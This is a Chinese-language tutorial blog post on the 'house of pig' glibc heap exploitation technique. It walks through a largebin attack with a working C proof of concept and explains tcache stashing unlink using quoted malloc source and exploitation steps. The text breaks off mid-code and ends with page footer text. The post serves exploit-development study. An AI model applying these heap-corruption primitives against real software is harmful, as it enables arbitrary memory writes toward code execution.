house of pig 攻击手法详解

一、前言

在这里学习一下学长提出来的一种攻击手段,适用与libc-2.31及以上版本,本质上是通过 libc2.31 下的 largebin attack以及 FILE 结构利用,来配合 libc2.31 下的 tcache stashing unlink attack 进行组合利用的方法。主要适用于程序中仅有 calloc 函数来申请 chunk,而没有调用 malloc 函数的情况。

ps:写到快结束了才发现heapbase少减了0x10000不过不重要hhhhh,懒得改了

二、前置知识

(一)libc2.31下的largebin_attack

来到libc2.31版本之后,unsortedbin attack变得不再好用,而largebin attack相比2.29版本,也删掉了其中一条路,只留下了接下来我们即将介绍的这种方式。

其整体思路大致为:
申请一个大的chunkA,一个略小的chunkB,这里要保证两个chunk在同一个largbin的区间内。然后free掉A,申请一个更大的chunk,让A从unsortedbin中进入largebin,然后再freeB,再申请一个更大的chunk,让B也进入largebin,此时就会触发攻击流程

这里给出示例代码,然后我们一起来调试一下:
largebin_attack.c:

#include<stdlib.h>
#include<stdio.h>
#include<assert.h>
int main(){
   
  size_t target = 0;
  size_t *p1 = malloc(0x428);
  size_t *g1 = malloc(0x18);
  size_t *p2 = malloc(0x418);
  size_t *g2 = malloc(0x18);
  free(p1);
  size_t *g3 = malloc(0x438);
  free(p2);
  p1[3] = (size_t)((&target)-4);
  size_t *g4 = malloc(0x438);
  assert((size_t)(p2-2) == target);
  return 0;
}

首先将四个malloc执行完毕,然后来看看堆布局:
在这里插入图片描述
然后将大一些的chunkA释放掉,再申请一个更大的chunk,将A放进largebin中:
在这里插入图片描述
然后释放掉B,再修改A的bk_nextsize为&target-0x20
在这里插入图片描述
可以看到,B进入了unsortedbin,A的bk_nextsize被我们成功修改,接下来再申请一个大的chunk的时候,就会将B放进largebin中,也就是在这个插入的过程中触发了我们的攻击流程。

我们先来看看target的值:
在这里插入图片描述
没错是0,然后我们申请一个更大的堆:
在这里插入图片描述
可以看到,B也进入了largebin中,并且target的值被我们修改成了A的地址,到这里就算完成了largebin attack,达成了任意地址写一个堆地址的目的。

(二)tcache_stashing_unlink

此种利用方式可以达成任意地址处分配一个chunk或者在任意地址写指定址

攻击前提:能控制 Small Bin Chunk 的 bk 指针,并且控制指定位置 chunk 的 fd 指针
漏洞位置

// 获取 small bin 中倒数第二个 chunk 。
bck = victim->bk;
// 检查 bck->fd 是不是 victim,防止伪造
if ( __glibc_unlikely( bck->fd != victim ) )
    malloc_printerr ("malloc(): smallbin double linked list corrupted");
// 设置 victim 对应的 inuse 位
set_inuse_bit_at_offset (victim, nb);
// 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来
bin->bk = bck;
bck->fd = bin;

可以看到,程序只检查了bck->fd是不是自己,但是如果bck本身就是我们伪造的呢?如果我们能够控制victim的bk,就可以伪造bck,就可以在small bin中插入伪造的chunk,从而达到任意地址分配chunk,从而做到任意地址读写的目的。

漏洞分析

在引入tcache之后,tcache的优先级高于正常的bin,我们不能越过tcache将chunk放入smallbin中,也不能越过tcache从smallbin中取出chunk。

但是漏洞代码所在位置非常尴尬:

if (in_smallbin_range (nb))
{
   
    idx = smallbin_index (nb);
    // 获取 small bin 的索引
    bin = bin_at (av, idx);
    // 先执行 victim = last(bin),获取 small bin 的最后一个 chunk
    // 若结果 victim = bin ,那说明该 bin 为空。
    if ( ( victim = last (bin) ) != bin )
    {
   
        // 获取 small bin 中倒数第二个 chunk 。
        bck = victim->bk;
        // 检查 bck->fd 是不是 victim,防止伪造
        if ( __glibc_unlikely( bck->fd != victim ) )
            malloc_printerr ("malloc(): smallbin double linked list corrupted");
        // 设置 victim 对应的 inuse 位
        set_inuse_bit_at_offset (victim, nb);
        // 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来
        bin->bk = bck;
        bck->fd = bin;
        // 如果不是 main_arena,设置对应的标志
        if (av != &main_arena)
            set_non_main_arena (victim);
        //执行更为细致的检查
        check_malloced_chunk (av, victim, nb);
#if USE_TCACHE //如果程序启用了Tcache
        /* While we're here, if we see other chunks of the same size,
        stash them in the tcache.  */
        size_t tc_idx = csize2tidx (nb);
        if (tcache && tc_idx < mp_.tcache_bins)
        {
   
            mchunkptr tc_victim;
            /* While bin not empty and tcache not full, copy chunks over.  */
            while ( tcache->counts[tc_idx] < mp_.tcache_count
                   && (tc_victim = last (bin) ) != bin)
            {
   
                if (tc_victim != 0)
                {
   
                    bck = tc_victim->bk;
                    set_inuse_bit_at_offset (tc_victim, nb);
                    if (av != &main_arena)
                        set_non_main_arena (tc_victim);
                    bin->bk = bck;
                    bck->fd = bin;
                    tcache_put (tc_victim, tc_idx);
                }
            }
        }
#endif
        // 将申请到的 chunk 转化为对应的 mem 状态
        void *p = chunk2mem (victim);
        // 如果设置了 perturb_type , 则将获取到的chunk初始化为 perturb_type ^ 0xff
        alloc_perturb (p, bytes);
        return p;
    }
}

这段代码是当程序需要从smallbin中取chunk的时候执行的,程序在获取到两个smallbin之后,判断是否开启了tcahce,如果开启了且对应的tcache不为空,才会进入到上面分析的那段漏洞代码,这就要求我们在利用上面那个对bk指针检查不彻底的漏洞时,要满足smallbin中至少有两个chunk,且tcache不为空。

那这里就产生了一个小矛盾,既然tcache不为空,为什么还从smallbin中取chunk呢?

这就引出了另一个分配函数——calloc,这个函数有个特点,它不从tcache中拿chunk,这就让攻击成为可能。

本人认为,smallbin中和tcache有关的那段循环本身其实也是针对calloc的,当从smallbin中拿chunk的时候,它去看了一下tcache里有没有,如果有的话,循环将smallbin中的chunk放进tcache中,能够遇到这种情况的其实也只有calloc,所以从整体来看,这个攻击手法就是针对使用calloc函数情况下,tcache未满而smallbin中有chunk时,将chunk从smallbin中放进tcache中,从而提高运行效率,但是坏在了没有仔细检查tcache的bk指针

利用手法

  • tcache中放5个chunk,smallbin中放两个
  • 将smallbin中倒数第二个chunk的bk改成&target-0x10,这里注意不能破坏fd指针,同时将&target+8处设置成一个指针,且指向可写内存区域
  • 从smallbin中取出一个chunk,目标地址就会被链入tcache中

示例代码调试

#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
 
static uint64_t target[4] = {
   0, 0, 0, 0};
int main(int argc, char **argv){
   
    char *t1;
    char *s1, *s2, *pad;
    char *tmp;
    tmp = malloc(0x1);
    target[1] = (uint64_t)(&target);
    for(int i=0; i<5; i++){
   
        t1 =
  • 4
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值